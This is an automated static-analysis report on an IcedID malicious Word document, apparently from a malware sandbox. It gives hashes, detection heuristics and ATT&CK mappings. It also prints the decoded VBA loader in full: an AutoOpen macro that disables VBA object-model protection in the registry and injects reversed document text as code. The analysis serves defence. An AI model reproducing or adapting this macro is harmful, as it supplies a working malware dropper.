IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 5b3655c4c618042e…

MALICIOUS

Office (OOXML)

45.3 KB Created: 2021-06-18 11:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: d0dabe9a74f490c4c26d687149575556 SHA-1: fac4b6d60363fffc29af0a73ffd22ff62b2dc67e SHA-256: 5b3655c4c618042ee2d9a14780cfabe47606215faae13e8ee76bfe97d2ff201e
302 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a malicious VBA macro. The 'autoopen' subroutine triggers obfuscated code that uses CreateObject to execute a second-stage payload. The script reconstructs the registry path 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM' and writes a DWORD value to it, likely to disable macro security settings. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family, which is known for its downloader capabilities.

Heuristics 8

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1296 bytes
SHA-256: b15e39176b61baff3885b075dab58b363f5be15f7c8854f9bd0ca3d36f1f93ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "varFuncPtr"
Function storageArgLib(memDataNamespace)
storageArgLib = VBA.StrReverse(memDataNamespace)
End Function
Function loadListbox()
loadListbox = ActiveDocument.Range.Text
End Function
Sub windowMem()
Debug.Print CreateObject(storageArgLib("llehs.tpircsw")).RegWrite(sizeListTemp, 1, "REG_DWORD")
End Sub
Function genericPointerSize()
memTextbox = 2
genericPointerSize = Mid(loadListbox, memTextbox, 1000000)
End Function

Attribute VB_Name = "indexArr"
Sub autoopen()
windowMem
ptrRemove storageArgLib(genericPointerSize)
End Sub
Sub ptrRemove(selectSwapGeneric)
Set repoLoadClear = GetObject("", "word.application")
With repoLoadClear.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString selectSwapGeneric
End With
repoLoadClear.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function sizeListTemp()
sizeListTemp = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 7279cbddd7f831a99eb4d51f33122ebe6f633a17c0ae9482827a007b2d487b1f

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